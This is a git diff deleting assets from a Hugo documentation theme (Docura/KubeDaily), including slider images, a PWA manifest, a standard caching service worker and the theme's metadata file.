a/static/img/slider/microsoft-reactor.jpg b/static/img/slider/microsoft-reactor.jpg deleted file mode 100644 index 33d8e86..0000000 Binary files a/static/img/slider/microsoft-reactor.jpg and /dev/null differ diff --git a/static/img/slider/okteto.jpg b/static/img/slider/okteto.jpg deleted file mode 100644 index e36b4ab..0000000 Binary files a/static/img/slider/okteto.jpg and /dev/null differ diff --git a/static/img/slider/st-paloti-nagpur.JPG b/static/img/slider/st-paloti-nagpur.JPG deleted file mode 100644 index 6f62f1e..0000000 Binary files a/static/img/slider/st-paloti-nagpur.JPG and /dev/null differ diff --git a/static/img/slider/thoughtworks.jpg b/static/img/slider/thoughtworks.jpg deleted file mode 100644 index 6668421..0000000 Binary files a/static/img/slider/thoughtworks.jpg and /dev/null differ diff --git a/static/img/slider/walmartlabs.jpg b/static/img/slider/walmartlabs.jpg deleted file mode 100644 index 747badb..0000000 Binary files a/static/img/slider/walmartlabs.jpg and /dev/null differ diff --git a/static/manifest.json b/static/manifest.json deleted file mode 100644 index 301744c..0000000 --- a/static/manifest.json +++ /dev/null @@ -1,36 +0,0 @@ -{ - "short_name": "Docura", - "name": "Docura", - "description": "A modular Hugo theme to build your next documentation site.", - "start_url": "/?source=pwa", - "display": "standalone", - "icons": [ - { - "src": "/img/icon/icon-192.png", - "type": "image/png", - "sizes": "192x192" - }, - { - "src": "/img/icon/icon-512.png", - "type": "image/png", - "sizes": "512x512" - }, - { - "src": "/img/icon/maskable-icon-192.png", - "type": "image/png", - "sizes": "192x192", - "purpose": "maskable" - }, - { - "src": "/img/icon/maskable-icon-512.png", - "type": "image/png", - "sizes": "512x512", - "purpose": "maskable" - }, - { - "src": "/img/icon/icon-vector.svg", - "type": "image/svg+xml", - "sizes": "512x512" - } - ] -} \ No newline at end of file diff --git a/static/pdf/linux-history.pdf b/static/pdf/linux-history.pdf deleted file mode 100644 index bcc03f9..0000000 Binary files a/static/pdf/linux-history.pdf and /dev/null differ diff --git a/static/sw.js b/static/sw.js deleted file mode 100644 index e13c4c6..0000000 --- a/static/sw.js +++ /dev/null @@ -1,61 +0,0 @@ -const cacheName = 'docura-{{ now.Format "2006-01-02" }}'; -const staticAssets = [ - './', - './index.html', - './manifest.json', - './docs/**/*', - './font/*', - './img/icon/favicon.ico', - './img/icon/icon-16.png', - './img/icon/icon-32.png', - './img/icon/icon-180.png', - './img/icon/icon-192.png', - './img/icon/icon-512.png', - './img/icon/icon-vector.svg', - './img/icon/maskable-icon-192.png', - './img/icon/maskable-icon-512.png', - './js/base.min.js', - './js/component/docsearch.min.js', - './scss/base.css', - './scss/component/docsearch.css', - './scss/home.css', -]; - -self.addEventListener('install', async e => { - const cache = await caches.open(cacheName); - await cache.addAll(staticAssets); - return self.skipWaiting(); -}); - -self.addEventListener('activate', e => { - self.clients.claim(); -}); - -self.addEventListener('fetch', async e => { - const req = e.request; - const url = new URL(req.url); - - if (url.origin === location.origin) { - e.respondWith(cacheFirst(req)); - } else { - e.respondWith(networkFirst(req)); - } -}); - -async function cacheFirst(req) { - const cache = await caches.open(cacheName); - const cached = await cache.match(req); - return cached || fetch(req); -} - -async function networkFirst(req) { - const cache = await caches.open(cacheName); - try { - const fresh = await fetch(req); - cache.put(req, fresh.clone()); - return fresh; - } catch (e) { - const cached = await cache.match(req); - return cached; - } -} \ No newline at end of file diff --git a/theme.toml b/theme.toml deleted file mode 100644 index 15205c7..0000000 --- a/theme.toml +++ /dev/null @@ -1,10 +0,0 @@ -name = "KubeDaily" -description = "Demestifying Container and Orchestration Ecosystem" -homepage = "https://linuxcollective.github.io" -tags = ["docs", "minimal", "responsive", "light", "dark", "multilingual"] -features = [] -min_version = "0.41.0" - -[author] - name = "Sangam Biradar" - homepage = "https://github.com/sangam14"